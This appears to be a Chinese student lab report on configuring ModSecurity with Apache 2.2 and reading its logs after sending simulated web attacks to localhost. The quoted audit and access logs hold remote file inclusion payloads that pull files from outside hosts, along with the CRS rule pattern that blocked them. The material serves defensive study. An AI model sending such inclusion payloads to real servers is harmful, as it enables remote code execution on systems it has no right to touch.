Web应用防火墙实验

Web应用防火墙实验

0.前言

  实验目的是探究针对Web应用中的安全脆弱性,包括未经验证的输入、参数篡改以及注入漏洞等,已测试环境为Windows 32位系统,中间件环境为:

  • Apache Web 服务器

    1. –Apache 2.2
  • Mod Security 及检测规则

    1. –Mod Security 2.5.12
    2. –Mod Security crs 2.2.2
  • Web 攻击包生成器

    1. –WebAttack.rfi
    2. –WebAttack.xs

1.Apache 服务器配置:文件复制

  进入modules 文件夹,创建modsecurity2文件夹,将mod_security2.so 、libxml2.dll 和 pcre.dll 复制到该文件夹中

  进入conf文件夹

  创建security2文件夹将modsecurity-crs_2.2.2\base_rules\中的

  • modsecurity_40_generic_attacks.data
  • modsecurity_crs_40_generic_attacks.conf
  • modsecurity_crs_41_xss_attacks.conf

   复制到security2文件夹

2.Apache 服务器配置:修改httpd.conf

  使用纯文本编辑器打开httpd.conf,追加可加载模块

  • LoadModule security2_module modules/modsecurity2/mod_security2.so
  • LoadModule unique_id_module modules/mod_unique_id.so

  添加

  • SecRuleEngine On
  • SecDefaultActionlog,auditlog,deny,status:403,phase:2,t:lowercase,t:replaceNulls,t:compressWhitespace
  • SecAuditEngine RelevantOnly
  • SecAuditLogType Serial
  • SecAuditLog logs/mod_security2.log
  • Include conf/security2/modsecurity_crs_41_xss_attacks.conf
  • Include conf/security2/modsecurity_crs_40_generic_attacks.conf

3.启动Apache,更正错误直至正确启动

4.依据WebAttack\readme.txt进行编译操作

  相关知识见相应目录中的PDF文件,攻击报警记录于logs/mod_security2.log。

  而通过对比发现开启Apache与不开启的反馈存在区别

  没开启Apaches时运行结果:

5.截屏攻击数据流

6.分析对应报警记录

  报警记录分为三个记录,分别是access.log, error.log, mod_security2.log

  以其中的远程文件包含攻击包的某一数据为例子报警记录为例:

  • mod_security2.log

  这日记内容是详细的攻击相关情况,包括对攻击端口,攻击地址,以及对应所触发的规则和相关的处理都在这个log当中,记录得也比较详细一些。

1
2
3
--23480000-A

[26/May/2022:22:45:45+0800][Yo@SmcCovIAAAAgQAaMAAAA-127.0.0.149319127.0.0.180](mailto:Yo@SmcCovIAAAAgQAaMAAAA-127.0.0.149319127.0.0.180)

  访问时间为2022年5月26的22:45:45,访问ip为127.0.0.1,源端口为49319,目的ip为127.0.0.1 ,目的端口为80

1
2
3
4
5
6
7
8
9
10
11
12
13
--23480000-B—

GEThttp://127.0.0.1/123.php/?id={${include("http://www.luomoeillegno.com/extras/idxx.txt??")}}HTTP/1.0User-Agent:myselfHttp/1.0Accept: www/source; text/html; image/gif; */*

--23480000-F--

HTTP/1.1 501 Method Not ImplementedAllow: TRACEContent-Length: 213 Connection: close Content-Type: text/html; charset=iso-8859-1

--23480000-H--

Message: Access denied with code 501 (phase 2). Pattern match "(?:\binclude\s*\([^)]*(ht|f)tps?:\/\/)" at ARGS:id. [file "C:/Program Files (x86)/ApacheSoftwareFoundation/Apache2.2/conf/security2/modsecurity_crs_40_generic_attacks.conf"] [line "162"] [id "950118"] [rev "2.2.2"] [msg "Remote FileInclusion Attack"] [severity "CRITICAL"]Action: Intercepted (phase 2)Stopwatch: 1653576345303833 0 (0 0 -)Producer: ModSecurity for Apache/2.5.12 (http://www.modsecurity.org/).Server: Apache/2.2.22 (Win32)

--23480000-Z—

  其中–23480000-B—下面为 HTTP 恶意包的内容;–23480000-F—后面的内容为服务响应,Modsecurity 以 501 的状态码拒绝连接;–23480000-H—后面的内容为本次访问触发的检测规则,并且服务器是如何响应的,Access deniedwith code 501 表明拒绝连接,返回 501 状态码

1
file"C:/ProgramFiles(x86)/ApacheSoftwareFoundation/Apache2.2/conf/security2/modsecurity_crs_40_generic_attacks.conf"] [line "162"] [id "950118"] [rev "2.2.2"] [msg "Remote File Inclusion Attack"]

  说明触发的规则是modsecurity_crs_40_generic_attacks.conf中第162行,id为950118定义的规则,并指出本次攻击的分类为 RFI 攻击

  • error.log
1
2
3
4
5
6
7
8
9
10
11
12
13
[Thu May 26 22:45:18 2022] [notice] Server built: Jan 28 2012 11:16:39

[Thu May 26 22:45:18 2022] [notice] Parent: Created child process 2064

[Thu May 26 22:45:19 2022] [notice] ModSecurity for Apache/2.5.12 (http://www.modsecurity.org/) configured.

[Thu May 26 22:45:20 2022] [notice] Child 2064: Child process is running

[Thu May 26 22:45:20 2022] [notice] Child 2064: Acquired the start mutex.

[Thu May 26 22:45:20 2022] [notice] Child 2064: Starting 64 worker threads.

[Thu May 26 22:45:20 2022] [notice] Child 2064: Starting thread to listen on port 80.

  这个日记记录的是各个攻击脚本或者攻击方式的相关拦截时间以及比较简单的主要信息。能够很好的寻找到对应攻击的对应时间点。

  • access.log
1
2
3
4
5
6
7
8
9
10
11
127.0.0.1--[27/May/2022:11:28:16+0800]"GEThttp://127.0.0.1/123.php/?CONFIG[MWCHAT_Libs]=http://bio.as.nhcue.edu.tw//Bio1/language/lang.txt???HTTP/1.0 " 501 213

127.0.0.1--[27/May/2022:11:39:25 +0800] "GET http://localhost:80/ HTTP/1.0 " 200 44

127.0.0.1--[27/May/2022:11:41:18+0800]"GEThttp://localhost:80//?name=getparentfolder HTTP/1.0 " 200 44

127.0.0.1--[27/May/2022:11:45:06+0800]"GEThttp://localhost:80/getparentfolder/ HTTP/1.0 " 404 214

127.0.0.1--[27/May/2022:11:45:13 +0800] "GET http://localhost:80/ HTTP/1.0 " 200 44

127.0.0.1--[27/May/2022:12:02:33+0800]"GEThttp://localhost:80/getparentfolder/ HTTP/1.0 " 404 214

  Access日记中是显示查看的相关内日你的信息,包括对80端口的tcp连接、WEB服务器中链接次数最多的ip地址、ip在做什么等一些相关的信息。

7.总结

  Apache HTTP服务器是一个模块化的服务器,可以运行在几乎所有广泛使用的计算机平台上。其属于应用服务器。Apache支持支持模块多,性能稳定,Apache本身是静态解析,适合静态HTML、图片等,但可以通过扩展脚本、模块等支持动态页面等。

  再要所给的环境下和相关的脚本,实验一直都比较顺畅,基本没有出现错误的情况。但对于xxs脚本攻击的日志显示而言,由于对java脚本语言的不了解,很难调试出满意的结果,正如ppt中所说的xss攻击部分有些配置上的问题,得不到结果,可以尝试去修改。在调试了半天时间后,xxs的攻击脚本,在access.log和 error.log中都能够显现并且记录,但是在 mod_security2.log中却偏偏就是没有任何相关的信息,这就及其纳闷,最终错误锁定在modsecurity_crs_41_xxs_attacks.conf这个文件中,但是对java不太熟练的我始终没有找出错误


Web应用防火墙实验
https://one-null-pointer.github.io/2023/03/18/Web练习——Web应用防火墙实验/
Author
liaoyue
Posted on
March 18, 2023
传送口